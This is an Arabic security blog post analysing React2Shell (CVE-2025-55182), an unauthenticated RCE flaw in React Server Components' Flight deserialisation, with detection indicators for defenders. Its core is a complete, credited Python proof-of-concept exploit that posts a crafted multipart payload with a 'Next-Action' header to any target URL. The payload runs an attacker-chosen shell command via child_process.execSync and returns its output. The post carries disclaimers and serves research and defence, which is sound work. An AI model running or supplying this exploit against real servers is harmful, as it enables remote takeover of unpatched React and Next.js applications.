
React2Shell، CVE-2025-55182، ثغرة RCE: تحليل نقدي لخلل إلغاء التسلسل غير الآمن في مكونات خادم React الذي يتيح تنفيذ كود عن بعد غير مصادق عليه عبر إعدادات React/Next.js الافتراضية.
React2Shell (CVE-2025-55182) هي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) تؤثر على مكونات خادم React (RSC) في React 19.x وأطر العمل مثل Next.js. تكمن الثغرة في إلغاء التسلسل غير الآمن لأجزاء بروتوكول "Flight"، مما يسمح للمهاجمين بحقن هياكل ضارة تتحول إلى منشئ الدوال (Function constructor)، مما يؤدي إلى تنفيذ كود JavaScript عشوائي على الخادم.
تم تقديم مكونات خادم React لسد الفجوة بين عرض العميل والخادم بسير عمل أكثر سلاسة وقابلية للتركيب. للقيام بذلك، تستخدم React قناة تسلسل ثنائية الطابع مخصصة تسمى بروتوكول Flight.
لسوء الحظ، احتوى منطق إلغاء تسلسل هذا البروتوكول على عيب دقيق سمح للمهاجمين بتهريب حمولات ضارة عميقًا في بيئة تشغيل React.
النتيجة؟ سلسلة كاملة لتنفيذ الأوامر عن بُعد بدون مصادقة، أطلق عليها الآن اسم React2Shell — ونعم، تأثيرها مشابه لـ Log4Shell من حيث النطاق وسهولة الوصول. 🔥
تقوم هذه المقالة بتفصيل الثغرة بتنسيق نظيف وقابل للتطبيق — مثالي لممارسي اختبار الاختراق والباحثين والمدافعين.
يتواصل RSC مع العميل عن طريق إرسال "أجزاء" مسلسلة تمثل مراجع، كائنات، بيانات وصفية للمكونات، حدود غير متزامنة، إلخ.
عند وصول هذه الأجزاء إلى الخادم أو العميل، يقوم React بإلغاء تسلسلها إلى كائنات ودوال.
تفترض هذه العملية أن بنية البيانات آمنة. هذا هو المكان الذي حدث فيه الخلل.
وجد المهاجمون طريقة لصنع أجزاء ضارة تحتوي على:
thenables)مثال للنمط:
"$then": { "constructor": { "prototype": null } }
أثناء إلغاء التسلسل، يفسر React هذا الكائن على أنه كائن ثم (thenable) ويستدعي:
promise.then(...)
لكن هنا، then هو في الواقع منشئ الدوال، لذلك يصبح الاستدعاء:
(new Function("حمولة_ضارة"))();
يؤدي هذا إلى تنفيذ كود JavaScript عشوائي داخل بيئة Node.js التي تشغل مكونات خادم React.
بوم — لديك RCE.
لهذا السبب تفاعل بائعي السحابة وفرق الأمان وCERTs فورًا بعد نشرها.
طلبات POST متعددة الأجزاء إلى:
/react/rsc/server, /flight, /server-actionsحمولات تحتوي على مفاتيح مثل:
$then$proto$constructor$typeعمليات تنفيذ Node.js مشبوهة مثل:
node -e "<حمولة>"
ملفات غير متوقعة تحت:
/tmp/react-rce-*/var/tmp/node-rce-*⚠️ ملاحظة مهمة
أنا لا أملك هذا الإثبات.
تمت الإشارة إليه من المستودع العام التالي، مع الإقرار الكامل للمؤلف:
👉 https://github.com/msanft/CVE-2025-55182
إثبات المفهوم التالي (PoC) مقدم حصريًا للأغراض التعليمية والبحث الأمني الدفاعي.
يجب تنفيذه فقط في بيئات معملية معزولة أو على أنظمة حيث لديك تفويض صريح للاختبار.
إساءة استخدام هذا الكود للوصول غير المصرح به أو الاستغلال أو اختراق النظام هو غير قانوني وغير أخلاقي ويعاقب عليه بموجب قوانين الأمن السيبراني.
تصرف بمسؤولية. 🛡️💻
فيما يلي إثبات المفهوم الكامل:
# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
# If you don't need the command output, you can use this line instead:
# "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)
إذا قمت بتنفيذ إثبات المفهوم هذا، فتأكد من أنك فعلت ذلك في صندوق رمل مُتحكم به وليس على أي أصول إنتاجية أو تابعة لجهات خارجية.
هذا العرض موجود فقط لمساعدة المحللين والمطورين والمدافعين على فهم واكتشاف وتخفيف CVE-2025-55182 (React2Shell).
أي استخدام ضار أو غير مصرح به لهذه المعلومات ممنوع منعًا باتًا وليس معتمدًا من قبل المؤلف.
ابق أخلاقيًا. ابق آمنًا. 🐉🔥
React2Shell هو تذكير قوي بأن طبقات التسلسل، مهما كانت أنيقة، تظل واحدة من أخطر المكونات في الأطر الحديثة. في اللحظة التي تلمس فيها الكائنات العشوائية بيئة التشغيل دون تحقق، تصبح سلسلة RCE قصيرة بشكل مؤلم.
شكرًا للقراءة — وكالعادة، استمر في الاختراق الأخلاقي، واستمر في التعلم باستمرار، وأبقِ شعلة الأمن مشتعلة. 🔥🐉
🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010